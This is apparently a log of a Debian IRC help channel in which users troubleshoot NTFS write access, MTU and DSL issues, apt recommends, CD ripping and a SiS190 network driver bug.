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| 07:33.52 | cast | i can't remember what my 4GB amd64 box reports :\ |
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| 07:33.58 | pingouin | cast: wished to switch to lenny, and why not in 64 bits, thus it's core2duo cpu |
| 07:35.00 | jaggz- | how do we update this keyring again? |
| 07:35.14 | pingouin | and there is no point to have a -bigmem kernel in 64 bits i guess |
| 07:35.39 | jaggz- | hmm.. debian-archive-keyring |
| 07:36.28 | BoltPwer56 | im mounting and ntfs partition with "mount /dev/sde1 /ntdrive -w", then i see from mount that it has the rw option. but i still can not write to it. What am i missing? |
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| 07:37.21 | BoltPwer56 | when i try i see Read-only file system. |
| 07:37.53 | rozie | BoltPwer56: have you tried ntfs-3g? |
| 07:38.42 | rozie | but it looks like user has no rights to access this |
| 07:39.03 | BoltPwer56 | rozie: ntfs-3g is a different filesystem |
| 07:39.43 | rozie | no, it's for ntfs partitions |
| 07:40.39 | BoltPwer56 | rozie: so is it a package that i need then? |
| 07:40.55 | lafrance | is there a command to stop a package from continuing installing downloading with fish ssh ? |
| 07:41.13 | rozie | BoltPwer56: wajig search ntfs-3g |
| 07:41.19 | lafrance | nvm found it |
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| 07:45.32 | craigevil | !ntfs-3g |
| 07:45.32 | dpkg | from memory, ntfs-3g is a user-space NTFS driver with write support and good performance. Packaged for Debian, available for Lenny or through backports.org for Etch (ask me about <backports.org etch> for instructions). Usage examples: http://www.ntfs-3g.org/#usage . Ask me about <user accessible ntfs>. |
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| 07:47.58 | rozie | BoltPwer56: http://rozie.blox.pl/2009/07/NTFS-i-Linux-nie-tak-rozowo.html there's google translate in sidebar. may be helpful |
| 07:49.26 | BoltPwer56 | rozie: thanks, but the translate is not working. |
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| 07:51.42 | rozie | BoltPwer56: what message do you get? works fine at my computer |
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| 07:52.30 | rozie | it was english to english issue a few minutes ago, so reload |
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| 07:57.51 | BoltPwer56 | rozie: Thanks alot. ntfs-g3 is a filesystem driver. That what i meant about filesystem. I installed the package and then mounted with at fs type, all is good. Thanks for your help |
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| 08:01.11 | rozie | BoltPwer56: glad to hear this. cheers |
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| 08:06.10 | b0nn | hrm |
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| 08:06.37 | b0nn | I want to setup my debian box, such that I have a bridge from wlan0 -> eth0 |
| 08:07.32 | b0nn | I followed |
| 08:07.38 | b0nn | http://www.linux.com/archive/articles/55617 |
| 08:08.08 | b0nn | but hostapd does not support my wifi card (usb) |
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| 08:08.23 | b0nn | so, what can I do to protect my wlan? |
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| 08:10.00 | cast | wouldn't it be your lan that needs protecting from your wlan? |
| 08:10.19 | b0nn | well, yeah |
| 08:10.28 | b0nn | I want tkip on the wifi |
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| 08:11.21 | b0nn | such that I can use my other wifi device, link to the debian box, and then have free and unfettered access to the internet |
| 08:11.24 | b0nn | but |
| 08:11.33 | b0nn | only me, not every tom, dick, and harry |
| 08:11.36 | tawan | anyone sucessfully use fbxkb? |
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| 08:12.21 | cast | since the wireless consortiums have managed twice in a row to fuck up a secure protocol, i'd be tending to use openvpn :) |
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| 08:13.27 | b0nn | that's an excellent idea |
| 08:13.58 | Guerin | !wifi |
| 08:13.59 | dpkg | Support for your wireless LAN device is dependent on the chipset within. Don't know what you have? Ask me about <what's my wireless>. Atheros: <atheros>, <madwifi>; Atmel: <atmel>; Broadcom: <b43>, <wl>; Intel: <ipw2100>, <ipw2200>, <ipw3945>, <iwlagn>; Intersil: <prism>; Ralink: <ralink>; Realtek: <rtl-wifi>; TI: <acx100>; ZyDAS: <zydas>. See also: <wlan howto>, <wpa>, <killswitch>, <wmaster0>. http://wiki.debian.org/WiFi |
| 08:14.05 | Guerin | bah |
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| 08:14.23 | tawan | !fbxkb |
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| 08:15.18 | b0nn | hmm Guerin I has ralink, rt73usb driver |
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| 08:15.38 | Guerin | b0nn: that'll work |
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| 08:15.59 | Guerin | i think it's in the kernel nowadays too, though you need a firmware |
| 08:16.06 | b0nn | ah |
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| 08:16.19 | b0nn | yeah, it works fine, just not with hostapd |
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| 08:16.39 | Guerin | the one I was going for was the factoid about why wifi is so shiut |
| 08:17.02 | Guerin | it used to be listed in the wifi factoid, but someone's censored it |
| 08:17.04 | b0nn | oh |
| 08:17.20 | b0nn | I like wifi |
| 08:17.26 | Guerin | it's great |
| 08:17.28 | Guerin | when ti works |
| 08:17.31 | b0nn | yeah' |
| 08:17.36 | Guerin | and if you can protect it |
| 08:17.42 | Guerin | those two things are the problem |
| 08:17.53 | b0nn | agreed |
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| 08:23.12 | Tiffon | nas |
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| 08:35.19 | bfremon | hi all |
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| 08:38.08 | lvh_ | dvorak is wonderful now I can't type properly om anyhting anymoer |
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| 08:39.41 | VerusGladiator | I use Programmer Dvorak and I already type comfortably at around 25WPM. |
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| 08:40.21 | VerusGladiator | Doing touch-type. |
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| 08:42.26 | VerusGladiator | I need 60WPM to be reasonable. |
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| 08:46.43 | pingouin | < lvh_>: dvorak is wonderful now I can't type properly om anyhting anymoer <-- :D |
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| 08:50.48 | VerusGladiator | He doesn't know the good stuff of life. :) |
| 08:51.24 | netsrot | How do I blacklist packages I dont want to install with apt? |
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| 08:52.43 | cast | netsrot: aptitude hold may wrk |
| 08:54.41 | netsrot | cast: isn't that for packages I dont want to upgrade? |
| 08:55.48 | cast | you know, i'm not sure. |
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| 08:59.33 | renton_ | hello how can i see my current MTU ? thanks |
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| 09:00.19 | cahoot | renton_: ifconfig |
| 09:00.46 | renton_ | thanks |
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| 09:01.23 | craigevil | !hold |
| 09:01.23 | dpkg | hold is, like, a status flag that tells the package manager not to automatically upgrade a package. To hold a package: 'echo <package> hold|dpkg --set-selections'. It is also possible to use aptitude: 'aptitude hold <package>'. Notice that the hold flag set using aptitude might be ignored by other package managers (ie Update Manager and Synaptic) but that aptitude will respect the hold set in the dpkg database. Ask me about <why aptitude>. |
| 09:02.23 | craigevil | netsrot: probably easier to set apt to not install recommends or suggests |
| 09:02.23 | renton_ | is it possible to change it runtime? i need to do a test without restarting my interface |
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| 09:04.19 | valdyn | renton_: why are you messsing with the mtu? |
| 09:05.26 | renton_ | # ifconfig eth0 mtu 1400 |
| 09:05.34 | renton_ | i have a trouble with linkedin website |
| 09:05.50 | renton_ | everything on the web works except it |
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| 09:06.12 | valdyn | renton_: are you on dsl ? |
| 09:06.48 | renton_ | yes D-LINK modem/router |
| 09:06.53 | renton_ | here problem like mine http://getsatisfaction.com/linkedin/topics/linkedin_page_load_error_network_timeout |
| 09:06.55 | valdyn | !clampmss |
| 09:06.59 | valdyn | !mss clamp |
| 09:07.02 | valdyn | ffs |
| 09:07.06 | valdyn | !listkeys clamp |
| 09:07.08 | dpkg | Factoid search of 'clamp' by key returned no results. |
| 09:07.09 | valdyn | !test |
| 09:07.09 | dpkg | epic test fail |
| 09:07.11 | valdyn | damn |
| 09:07.46 | renton_ | valdyn: anyway my pc is on ethernet... to my router/dsl modem |
| 09:08.08 | valdyn | renton_: the dsl router should do this stuff for you |
| 09:08.59 | valdyn | renton_: maybe you should just grab a firmware update for that device |
| 09:09.09 | renton_ | it is updated |
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| 09:09.18 | renton_ | anyway everything works except linkedin |
| 09:09.31 | rozie | renton_: is PC connected directly to modem? |
| 09:09.43 | rozie | no firewall filter or so? |
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| 09:09.49 | renton_ | PC - lan cable - ROUTER/MODEM |
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| 09:09.54 | poisonbit | hello, what means '-bpo' in a package name ? |
| 09:10.01 | rozie | can you show result of host linkedin.com? |
| 09:10.08 | cast | !bpo |
| 09:10.08 | dpkg | backports.org is an unofficial repository of <backports> for the current stable distribution, prepared by Debian developers. Read http://backports.org/dokuwiki/doku.php?id=instructions. A sample line for your sources.list is: deb http://www.backports.org/debian lenny-backports main contrib non-free. Once added, aptitude update && aptitude install debian-backports-keyring && aptitude update. See also <bpo mirrors> <bpo contents>. |
| 09:10.10 | rozie | poisonbit: backport |
| 09:10.11 | Guerin | poisonbit: from backports.org |
| 09:10.24 | valdyn | renton_: we just need to know if the router or your pc are "dialing" the dsl link, thats all, and i think you told us already |
| 09:10.25 | poisonbit | thanks |
| 09:11.19 | valdyn | renton_: now in your case i think the error could just aswell be at linkedin or at your isp. Changing mtu might not be useful |
| 09:12.30 | renton_ | i try to change mtu with ifconfig on my router/dsl |
| 09:14.02 | renton_ | ohhh it worked |
| 09:14.11 | renton_ | now with MTU 1000 linkedin works! |
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| 09:15.56 | rozie | renton_: /sbin/iptables -I FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu is solution for routers (PC) with DSL modems |
| 09:16.47 | rozie | but MTU is 1492 there |
| 09:17.33 | valdyn | changing mtu might break windows clients |
| 09:17.38 | valdyn | clampmss is better |
| 09:17.50 | poisonbit | i'm doing a kernel customization in lenny. If i disable SElinux (Auditing support)... something bad will happen in the lenny installation ? |
| 09:18.00 | valdyn | poisonbit: no |
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| 09:18.09 | poisonbit | tnks |
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| 09:29.05 | netsrot | craigevil: How do I do that? do you know a way to blacklist a package? |
| 09:29.54 | craigevil | netsrot: no idea how to blacklist but you can tell apt/aptitude not to install recommends |
| 09:30.18 | netsrot | ok |
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| 09:31.36 | netsrot | craigevil: that didn't help, it still wants to install the package I dont want and it doesnt say which of the packages I'm trying to install who needs it. |
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| 09:31.57 | craigevil | what are you trying to install? |
| 09:32.22 | netsrot | wine build-dep and I get avahi-daemon which I dont want |
| 09:32.42 | craigevil | your trying to backport wine from sid? |
| 09:32.51 | netsrot | no |
| 09:32.57 | Kamping_Kaiser | so download the build-dep then disable it when you recompile it |
| 09:33.10 | enouf | netsrot: aptitude why pkg1 pkg2 ... |
| 09:33.36 | enouf | whoa . avahi weilds it's ugly head |
| 09:34.20 | craigevil | netsrot: if you want a newer wine than 1.0 take a look at http://www.winehq.org/download/deblenny |
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| 09:36.27 | netsrot | craigevil: are there different build-deps? |
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| 09:36.53 | craigevil | hell if i know i just use crossover office/games |
| 09:36.54 | rozie | netsrot: you don't need different |
| 09:37.07 | rozie | you can ignore build-deps while building |
| 09:37.11 | rozie | -f IIRC |
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| 09:38.46 | craigevil | wonders why build-deps would want any avahi crap when apt-get install wine doesnt pull it in |
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| 09:41.15 | netsrot | craigevil: well I did install it and then did a remove on it, then it showed that it was libnss-mdns who needed it. |
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| 09:41.53 | enouf | is that etch? |
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| 09:42.06 | craigevil | epends: wine-bin (= 1.0.1-2), wine-utils (= 1.0.1-2), libwine-alsa (= 1.0.1-2) | libwine-oss (= 1.0.1-2) | libwine-esd (= 1.0.1-2) | libwine-jack (= 1.0.1-2) | libwine-nas (= 1.0.1-2), libwine-gl (= 1.0.1-2), libwine-print (= 1.0.1-2), libwine-sane (= 1.0.1-2), libwine-cms (= 1.0.1-2), libwine-gphoto2 (= 1.0.1-2), libwine-ldap (= 1.0.1-2) |
| 09:42.11 | netsrot | enouf: Lenny AMD64 |
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| 09:44.42 | netsrot | I'm hoping for a simple blacklist file comming to debian =) |
| 09:44.42 | enouf | libnss-mdns: /usr/share/doc/libnss-mdns/README.html ..heh, but even apt-rdepends isn't showing libnss-mdns |
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| 09:50.55 | enouf | <PROTECTED> |
| 09:50.59 | netsrot | enouf: I'm only running "apt-get build-dep wine" on a fresh install of Lenny amd64 from network install, I ran a simple install and only unchecked Desktop and did an "apt-get install xorg" to get it clean. |
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| 09:53.37 | netsrot | enouf: are you still talking with me? That should be the ftp.sunet.se repo that is bad? |
| 09:54.36 | netsrot | enouf: I didn't fully understand what you wrote before so thats why I asked if you were talking to me. |
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| 09:55.00 | enouf | whoa .. someone did a number on the way the Developer pages now look ... omg, it stinks |
| 09:55.29 | enouf | netsrot: perhaps you want to tell apt to not install Recommends as default |
| 09:55.51 | netsrot | enouf: yes but how? |
| 09:56.15 | craigevil | put this in your apt.conf APT::Install-Recommends "0"; APT::Install-Suggests "0"; |
| 09:56.56 | enouf | netsrot: i'm still looking for this predepends ... which reminds me - what if anything can dpkg-genbuilddeps tell us |
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| 09:57.41 | enouf | ~$ cat /etc/apt/apt.conf.d/98-recommends |
| 09:57.42 | enouf | APT::Install-Recommends "false"; |
| 09:57.51 | Supaplex | predepends. now stops leaks in aptitude. ;) |
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| 09:58.08 | g00se | You can also do aptitude install -R on an individual basis |
| 09:58.17 | enouf | indeed |
| 09:58.34 | enouf | Supaplex: heh ... just caught that |
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| 09:58.59 | Supaplex | :) 'night |
| 09:59.17 | netsrot | I don't seem to have any of those files, should I create them? apt.conf and recommends |
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| 09:59.37 | enouf | yep -- or just use /apt.conf |
| 10:00.01 | enouf | the conf.d/ dirs are a bit newer - though Lenny would honor them |
| 10:00.16 | nsadmin | hi, need to get cd audio tracks off a cd... lame does conversion after, but what's the ripper? |
| 10:00.25 | enouf | cdparanoia |
| 10:00.32 | nsadmin | oh |
| 10:00.36 | enouf | cdrdao - which is now called ... erm |
| 10:00.37 | nsadmin | thank you |
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| 10:00.44 | enouf | cdda2wav |
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| 10:00.51 | enouf | which is now called ... erm |
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| 10:01.13 | netsrot | enouf: thanks for the help. |
| 10:01.30 | enouf | nsadmin: once you found out the renaming convention, can you telll us - i need a refresher ;-) |
| 10:01.52 | enouf | nsadmin: i know cdrecord/wodim and mkisofs/genisoimage and readcd/readom |
| 10:02.09 | enouf | netsrot: others helped too! |
| 10:02.15 | enouf | ;-) |
| 10:02.19 | nsadmin | enouf: well I actually found cdda2mp3, so I'm doing it in one shot |
| 10:02.32 | enouf | prefers WAVs :-p |
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| 10:03.15 | nsadmin | yaknow something, so do I... one sec |
| 10:03.15 | enouf | ...or some lossless container, i suppose |
| 10:03.54 | enouf | nsadmin: remember, wavs are huge compared to all others ;-) |
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| 10:04.13 | nsadmin | how do I get the wavs back to cdda? |
| 10:04.34 | enouf | hehe .. cdrdao IIRC .. so sorry about the wrong ref there |
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| 10:05.54 | nsadmin | oh, no worries, I changed my mind in midstream since you're here and you know |
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| 10:06.42 | enouf | file:///usr/share/doc/cdrdao/examples/wav2dao/wav2dao.pl |
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| 10:07.49 | enouf | DESCRIPTION cdrdao creates audio and data CD-Rs in disk-at-once (DAO) mode driven by a description file called toc- file. In DAO mode it is possible to create non standard track pre-gaps that have other lengths than 2 seconds and contain nonzero audio data. |
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| 10:09.02 | nsadmin | dang... a description file? |
| 10:09.16 | enouf | man cdrdao |
| 10:09.35 | enouf | but like i said, it's not called that anymore |
| 10:09.54 | enouf | in Debian - but the whole optical media thing is a mess anyways |
| 10:10.05 | nsadmin | would it be called that in etch? |
| 10:10.09 | enouf | cdrkit is something to google |
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| 10:10.31 | enouf | i forget - but the changes occured sometime between woody and etch :-p |
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| 10:11.27 | enouf | IIRC, twas ~Sarge time the messeur jaspert started with that CDDL crap - but the undertones were long in the making already |
| 10:12.09 | enouf | nsadmin: the debian channel is .. uh ... #cdrkit, IIRC on oftc |
| 10:12.19 | nsadmin | hmm. I accidentally let this gui thing have it, and it's decided to make mp3s... |
| 10:12.24 | enouf | haha |
| 10:12.32 | enouf | !guismite nsadmin |
| 10:12.33 | dpkg | Adds 1650 widgets to nsadmin, and replaces nice text interface with mouse-only windoze-style GUI |
| 10:12.54 | nsadmin | which is not a big problem, I'll just stick em in an iso image and burn that |
| 10:12.57 | enouf | shouldn't that say "applets"? |
| 10:13.41 | nsadmin | hugz his mouse ^W trackball |
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| 10:15.43 | taras | hi. do debian have some patch to kernel that limits tcp connections at one time? this is noticeable when I open many irc networks(it writes connection lost on each, but if open one by one everything is ok) or when ktorrent is running and browser doesn't connect to host so quickly as from other pc at same time |
| 10:15.57 | taras | especially when it loads images from other hosts |
| 10:16.03 | taras | kernel 2.6.30.1 from backports |
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| 10:18.56 | enouf | oops .. i suck |
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| 10:19.14 | enouf | i said Jaspert, when i meant Joerg Schilling |
| 10:19.44 | enouf | apologies to messeur jaspert -- and .. it doesn't matter anymore -- old news |
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| 10:20.04 | enouf | file:///usr/share/doc/cdrdao/README.gz is a nice read |
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| 10:22.17 | enouf | build_cdda2wav.com cdda2mp3 cdda2mp3.new cdda2ogg cdda2ogg.1 cdda2ogg.mk1 cdda2wav.1 cdda2wav.c cdda2wav.h |
| 10:22.31 | enouf | heh - from cdrkit source from way back |
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| 10:24.00 | enouf | cdda_paranoia.h (missed one pertinent :-p) |
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| 10:28.58 | enouf | yeah - whomever i was blatthering about with over xterm/mrxvt amount of scrollback; 'mrxvt -sl 2000 &' does nicely |
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| 10:31.03 | taras | so what can be with my network problem? |
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| 10:32.33 | alsd | hi there. i'm having trouble with a SiS 190 ethernet NIC here, using 2.6.30 kernel from backports.org (same problem with stock lenny 2.6.26) : any packet which has a size > 1492 gets silently dropped. googling around, I found a reference to my problem here : http://www.kernel.org/pub/linux/kernel/v2.6/snapshots/patch-2.6.30-git19.log but i wonder if what's in this log also is in latest kernel.org 2.6.30.3 ? i'm a bit new to git and git.kernel.org's |
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| 10:37.11 | nsadmin | alsd: maybe you just need the newest driver for your card |
| 10:37.27 | dutchfish | alsd, 2.6.30.y is the latest stable vanilla from git, if you pull the one version 2.6.30-2 contain th efixes up till then but not upstream 2.6.31-rcx |
| 10:37.30 | alsd | nsadmin: that's what i'm trying to do actually |
| 10:38.13 | nsadmin | is that what the message you posted the url of said? |
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| 10:38.48 | alsd | nsadmin: not really, but there are references to changes in the sis190 module, which might help |
| 10:38.50 | macrobat | if i blacklist the pc speaker module, will the mobo still beep if there is a hw error? |
| 10:39.33 | alsd | macrobat: the BIOS POST beep will still be there, if thats what you're asking: linux only starts later than that |
| 10:39.58 | dutchfish | alsd, hold on a sec |
| 10:40.36 | xylox | alsd, already checked the mtu? |
| 10:41.42 | alsd | xylox: it helps to put 'ifconfig eth0 mtu 1492' but there are still subtle bugs, like when I use sshfs to another host, kernel oopses with a failure in fuse related syscalls |
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| 10:41.45 | macrobat | alsd: no, im thinking later on, beeping on overheating or other hw problems |
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| 10:42.35 | macrobat | but idk if the mobo does that with the pc spkr module either :D |
| 10:42.37 | alsd | macrobat: that's a tough question... BIOS normally doesn't operate once linux is started, but sometimes does either way |
| 10:43.03 | xylox | alsd, so the problem still there with mtu = 1500? |
| 10:43.09 | alsd | xylox: yes |
| 10:43.52 | macrobat | ok, i guess it would have to be mobo specific |
| 10:44.02 | xylox | alsd, and the problem is only for internet sites or also internal lan? |
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| 10:44.17 | alsd | xylox: i checked with 2 machines running tcpdump concurrently, and whenever other host sends a packet with size > 1492, the sis190 doesnt receive it |
| 10:44.21 | alsd | xylox: only on internal lan |
| 10:44.38 | alsd | xylox: i guess the router actually does some sort of mtu adjustment that's not going on the LAN |
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| 10:46.10 | dutchfish | alsd, you are probably in need for kernel commit wich fixes the endlesd loop in vanilla 2.6.30-3 |
| 10:46.16 | alsd | macrobat: actually is more like BIOS specific |
| 10:46.22 | xylox | alsd, i see, just trying to discard more obvious problems before thinking about kernel issues |
| 10:46.29 | dutchfish | alsd, you can patch it manually is only 2 small lines |
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| 10:47.14 | alsd | dutchfish: yes, i guess, but the problem was already there with etch's 2.6.18 (iirc), so that's not really the main trouble i guess |
| 10:47.44 | dutchfish | alsd, yes, the problem dates from 2005 and newer kernels, you are right |
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| 10:49.41 | alsd | xylox: http://pastebin.com/d2a13d27b thats the fuse related kernel oops i'm talking about |
| 10:50.51 | dutchfish | alsd, on wich kernel? |
| 10:51.02 | alsd | dutchfish: backports.org 2.6.30 |
| 10:51.34 | alsd | dutchfish: 2.6.30-bpo.1-686 more specificly |
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| 10:52.01 | dutchfish | alsd, have you tried compiling vanilla 2.6.30-3? |
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| 10:52.38 | alsd | dutchfish: i just finished compiling 2.6.30.2 from kernel.org but im still wondering if the changes listed in the url above are in there |
| 10:53.09 | dutchfish | alsd, dont use 2.6.30-2 |
| 10:53.25 | nsadmin | look in the changelog in the kernel you just compiled and see |
| 10:53.27 | dutchfish | alsd, becaus eof this: http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.30.y.git;a=commit;h=58097be4fdef5a380212e52d5a02704fe5e26cc8 |
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| 10:56.17 | JyZyGyZyX | weird how tools like ext2resize and mkfs are non interactive by default |
| 10:56.18 | alsd | nsadmin: trouble is, i cant seem to find it. changelogs on kernel.org only refer to changes from previous versions, so its hard to follow... |
| 10:56.33 | JyZyGyZyX | you run them and they just start right away |
| 10:56.46 | nsadmin | it should be in the kernel source tree on your machine... |
| 10:56.59 | alsd | nsadmin: i dont really understand the logic there: its mentionned in http://www.kernel.org/pub/linux/kernel/v2.6/snapshots/patch-2.6.30-git19.log but how do i figure out if it's in my version? |
| 10:57.00 | nsadmin | look in the root of that tree, or look in Documentation |
| 10:57.20 | alsd | nsadmin: i tried already, no luck |
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| 10:57.48 | alsd | nsadmin: i guess if i do a git pull or something i can go 'git changelog' but it's a tar.bz2 I downloaded |
| 10:57.54 | nsadmin | oh, hmm. one way to get a changelog is from git |
| 10:58.35 | alsd | nsadmin: yes, but i must admit i'm a bit lost with all the branches and stuff (see http://git.kernel.org) |
| 10:58.40 | nsadmin | and the changelog is not in that tar.bz2 |
| 10:58.44 | nsadmin | ? |
| 10:58.46 | alsd | nsadmin: no it isnt |
| 10:58.52 | alsd | nsadmin: only on kernel.org |
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| 10:59.51 | nsadmin | the other thing, is you should check out what dutchfish was saying earlier |
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| 11:00.36 | alsd | nsadmin: and even then, the changelog there's on kernel.org only refers to changes from 2.6.30.1 |
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| 11:01.11 | alsd | nsadmin: so let's imagin for a second patch-2.6.30-git19 mentionned earlier has been applied at some point, it's not appearing anywhere |
| 11:02.03 | alsd | nsadmin: i guess the only reliable way to know is to git-pull or something, but i'm no git expert |
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| 11:03.06 | alsd | is there a specific channel for vanilla kernel.org related issues? |
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| 11:03.39 | dutchfish | alsd, just a sec a look up the date of the patch and a ref, hold on |
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| 11:03.55 | craigevil | hm does this mean its in the kernel> /kernel/drivers/net/sis190.ko |
| 11:04.49 | dutchfish | alsd, there you go: http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.30.y.git;a=history;f=drivers/net/sis900.c;h=2d4617b3e2087c9a7bcc9bf33a83f3e00bbf77cb;hb=HEAD |
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| 11:06.22 | fxiny | enouf: NICE pic |
| 11:07.44 | alsd | dutchfish: thanks thats what i was searching for... but it's sis190 not sis900 ;) |
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| 11:07.57 | valdyn | alsd: the -git19 not for general use, thats a development kernel |
| 11:08.27 | dutchfish | alsd, http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.30.y.git;a=history;f=drivers/net/sis190.c;h=55ccd51d247efc3fa20cddd6616ddc8607637e17;hb=HEAD |
| 11:08.30 | alsd | valdyn: so changes in -git19 didnt make it to stock 2.6.30.3 |
| 11:08.39 | valdyn | alsd: right |
| 11:08.43 | vitaliy_ | Hello! Where can I get help for Debian GNU/Hurd, IRC Channel? |
| 11:09.06 | valdyn | alsd: .3 fixes will likely be in -git19, not vice versa |
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| 11:09.18 | dutchfish | valdyn, right |
| 11:09.35 | alsd | valdyn: so i can patch my 2.6.30.3 with changes from -git18 to sis190.c ? |
| 11:09.54 | valdyn | alsd: no, only if it works by incident |
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| 11:10.04 | valdyn | alsd: -git19 is a patch against 2.6.30 |
| 11:10.14 | valdyn | alsd: its not a patch against 2.6.30.x |
| 11:11.06 | valdyn | alsd: by incident probably means it will work most of the time, but you cannot rely on it |
| 11:11.15 | alsd | valdyn: well, i'll try that anyway |
| 11:11.41 | valdyn | alsd: and if a debian kernel has that fix it will be mentioned explicitely in the changelog anyway |
| 11:12.05 | dutchfish | alsd, for the rc4 http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=history;f=drivers/net/sis190.c;h=1f040e8a000ba043d2b2f41d411e0478a7a3e4b3;hb=HEAD |
| 11:12.32 | tawan | fbxkb |
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| 11:17.59 | alsd | dutchfish: thanks a lot, seems like what i'm searching for is in there! ;) |
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| 11:18.47 | dutchfish | alsd, yw |
| 11:19.22 | nsadmin | alsd: so... does it work? |
| 11:19.37 | alsd | nsadmin: i'll have to recompile and reboot to know that |
| 11:19.47 | alsd | well, maybe not reboot |
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| 11:20.36 | nsadmin | just to make sure... the driver is not in the backports one? |
| 11:20.41 | nsadmin | or the driver doesn't work right? |
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| 11:22.55 | enouf | has trouble searching git |
| 11:23.04 | enouf | alsd: that's .31 note |
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| 11:23.34 | dutchfish | for those trieng to build latest drm and radeon from git on 2.6.30.3 i i some small patches so it will build: http://pastebin.com/m1112fc02 |
| 11:23.53 | enouf | Linux 2.6.31-rc4 |
| 11:23.58 | alsd | nsadmin: driver doesn't work right for long, as i said earlier, same problem ever since i tried, first time was on etch's 2.6.18 |
| 11:24.10 | enouf | dutchfish: nice work ;-) |
| 11:24.29 | nsadmin | alsd: what is that device? |
| 11:24.38 | dutchfish | enouf, its running now stable on squeeze with xv and drm ... |
| 11:24.39 | alsd | nsadmin: sis190 |
| 11:24.40 | nsadmin | is it on the motherboard? which mobo |
| 11:24.47 | dutchfish | enouf, amd64 that is |
| 11:25.02 | enouf | alsd: and as to what valdyn was mentioning about patches - read the kernel README |
| 11:25.02 | enouf | it tells you how and what to apply patches to |
| 11:25.48 | tawan | is anyone on 5.0.2 and sucessfully using fbxkb? |
| 11:26.01 | alsd | nsadmin: MSI, dunno model exactly, CPU is Celeron D (prescott core), SiS649 chipset (as per lspci output) |
| 11:26.20 | enouf | dutchfish: oh nice - would that then fix xorg too? (is that the DRM2 related bugginess?) :-) |
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| 11:26.41 | nsadmin | cool, I thougth I recognized, it must have been a mobo I used to use |
| 11:26.46 | enouf | alsd: lshal | grep smbios might tell you |
| 11:26.50 | alsd | nsadmin: after googling around, seems like sis190 is a black sheep in linux land for a long time now |
| 11:26.51 | dutchfish | enouf, hehe ... i am working now on latest mesa, hold your breath |
| 11:26.58 | enouf | whoa .. |
| 11:27.38 | alsd | enouf: turns out nothing |
| 11:27.40 | enouf | didn't SiS eventually become ALi which then became uLi ? |
| 11:27.54 | dutchfish | nods to alsd |
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| 11:28.03 | enouf | alsd: yeouch .. then dmidecode and lshw ;-) |
| 11:28.13 | enouf | or .. crack the case ;-) |
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| 11:28.37 | alsd | enouf: it's not mine, can't do that |
| 11:28.55 | alsd | enouf: dmidecode didnt turn much else than "to be filled by OEM" |
| 11:29.12 | enouf | wow - my lshal ALSO now doesn't yield anything |
| 11:29.44 | enouf | it must be due to re-ordering in /sys (and /proc perhaps) |
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| 11:29.59 | fxiny | enouf: amphi's back ! |
| 11:30.27 | enouf | alsd: you can certainly get the make/model and online PDF specifics - but it's the Chips in it we want ;-) |
| 11:30.29 | MrWax | by default, should normal system users of a linux system be able to 'who' and see what users are logged in (with their ips)? |
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| 11:30.42 | enouf | fxiny: w00h00 |
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| 11:30.49 | enouf | fxiny: where |
| 11:30.58 | enouf | fxiny: where's window 21 in irssi? |
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| 11:31.04 | fxiny | enouf: hehehe |
| 11:32.01 | alsd | enouf: for sure... looking into it right now |
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| 11:32.48 | dutchfish | enouf, mesa and xorg-core ar emuch harder, its dep hell in there, muchos headaches atm |
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| 11:34.40 | dutchfish | enouf, http://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=help&src=xorg-server&pend-exc=pending-fixed&pend-exc=fixed&pend-exc=done |
| 11:34.53 | alsd | enouf: http://pastebin.com/d669ed501 is lspci -vvnn output |
| 11:35.12 | george1 | i have just installed debian for the first time and i cant get my wifi working. also i cant find a package manager installed?!!? can anyone help? thanks |
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| 11:35.58 | dutchfish | enouf, i think my skills ar enot enough to help much in that one ... but i dont give up |
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| 11:37.18 | alsd | MrWax: they are, at the very least. comes back from the good ol' UNIX days where the computer was one big machine with many people connected through TTYs |
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| 11:40.34 | nsadmin | george1: the base level pkg mgr is dpkg |
| 11:40.57 | dutchfish | MrWax, it has -rwxr-xr-x so anybody can execute it unless you change it |
| 11:41.01 | Dassu | >:) |
| 11:41.14 | MrWax | oki |
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| 11:41.42 | george1 | nsadmin: thank you. that should be installed from the start? (i'm currently running my laptop on ubuntu live) |
| 11:42.07 | george1 | im not very experienced so i need a graphical interface |
| 11:42.23 | dutchfish | MrWax, just for the record i meant /usr/bin/who |
| 11:42.33 | nsadmin | actually that doesn't necessarily follow |
| 11:42.39 | MrWax | oki yep |
| 11:42.43 | alsd | dutchfish: i guess the fix to prevent people from viewing 'who' is rather to chmod utmp or wtmp files, as preventing execution wont prevent malicious users from running another version of 'who' |
| 11:43.03 | craigevil | george1: you might want to take a look at http://wiki.debian.org for your wifi and on how to use aptitude |
| 11:43.03 | dutchfish | alsd, ever better yes |
| 11:43.07 | nsadmin | I think you should get used to cli as quickly as possilbe |
| 11:43.36 | dutchfish | alsd, for that i use tripwire |
| 11:43.37 | george1 | nsadmin, ok ill try that, thank you |
| 11:43.52 | nsadmin | what are you looking to do? |
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| 11:44.09 | alsd | george1: for a good introduction see debian reference, http://www.debian.org/doc/manuals/debian-reference/ especially chapter 2 if you're interrested in package management |
| 11:44.47 | george1 | alsd, thanks |
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| 11:45.26 | nsadmin | he may not be... I'm pretty sure he wants to install packages but not necessarily know all there is about that |
| 11:46.30 | nsadmin | george1, so what is it you want to accomplish now? |
| 11:46.57 | Esine | Is it possible to install Debian on a virtual machine first, and only then transfer to another physical computer? I guess Debian includes all modules and such and does not store machine dependent information? |
| 11:47.09 | tawan | nope |
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| 11:47.27 | Esine | They are both same architechtures (686) but different chips (AMD Athlon X2 vs Intel Atom) |
| 11:47.33 | Esine | what is that supposed to mean, tawan? |
| 11:47.45 | alsd | nsadmin: RTFM is always good. after all, don't they all say "knowledge is power" ? ;) |
| 11:47.57 | mjt | Esine: sure it's possible |
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| 11:48.04 | dutchfish | Esine, yes, with some prereq. |
| 11:48.10 | Esine | ok, great! |
| 11:48.15 | Esine | dutchfish: yes? |
| 11:48.17 | george1 | nsadmin: i have just installed debian and i i cannot get the wifi to work. wifi-wiz was recommended to me but i cant find the package manager to install it. i am a newbie and i have only used ubuntu before which was very slow; hence the change to debian |
| 11:48.43 | george1 | basically trying to get a package manager and want to get wifi working |
| 11:48.52 | nsadmin | hmm, this is the second time I'm hearing ubuntu is slow... |
